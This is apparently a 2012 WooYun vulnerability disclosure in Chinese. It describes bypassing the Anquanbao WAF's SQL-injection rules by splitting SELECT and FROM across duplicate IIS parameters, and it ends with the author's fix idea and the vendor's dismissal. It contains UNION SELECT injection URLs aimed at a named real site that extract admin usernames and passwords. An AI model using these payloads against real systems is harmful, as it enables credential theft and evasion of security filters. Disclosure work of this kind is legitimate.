漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2012-09909
漏洞标题：创新工厂安全宝安全防护绕过漏洞(I)
相关厂商：安全宝
漏洞作者： possible
提交时间：2012-07-19 22:59
修复时间：2012-07-20 16:34
公开时间：2012-07-20 16:34
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：20
漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2012-07-19： 细节已通知厂商并且等待厂商处理中
2012-07-20： 厂商已经主动忽略漏洞，细节向公众公开
简要描述：
在某些web环境下，安全宝对防范sql的部分防护规则可被绕过,继续注入...
详细说明：
很简单，利用iis对复参的特殊处理，即可绕过防护规则.
构造如下请求:
http://www.51qljr.com/xinxi/shownews.asp?id=(-575)UNION SELECT 1,username,3,4,passwd,6,7,8,9,10,11,12,13,14,15,16,17,18 from admin
返回:
已经被成功阻断，简单猜测规则应该形如select.*from
利用复参，分割select与from，构造如下请求:
http://www.51qljr.com/xinxi/shownews.asp?id=(-575)UNION SELECT 1,username,3,4,passwd,6,7,8,9,10,11,12,13,14,15,16,17&id=18 from admin
返回
漏洞证明：
无
修复方案：
这个修复我还没想好，望看者给予补充:
在进行规则匹配之前，首先向iis一样对复参进行重组,如请求name=select&name=from，重组后name=select,from然后在进行规则匹配
但是这样代价很过，对所有的请求都要进行检查，是否得不偿失....
还希望大家给出更好的修改建议...
版权声明：转载请注明来源 possible@乌云
漏洞回应
厂商回应：
危害等级：无影响厂商忽略
忽略时间：2012-07-20 16:34
厂商回复：
经过我们的验证，此sql语句并不能绕过安全宝的安全防护，是因为http://www.51qljr.com/这个网站没有开启安全宝的防护，这个网站开启的是 智创网站专业级防火墙，所以被绕过的是 智创网站专业级防火墙。
漏洞Rank：8 (WooYun评价)
最新状态：
暂无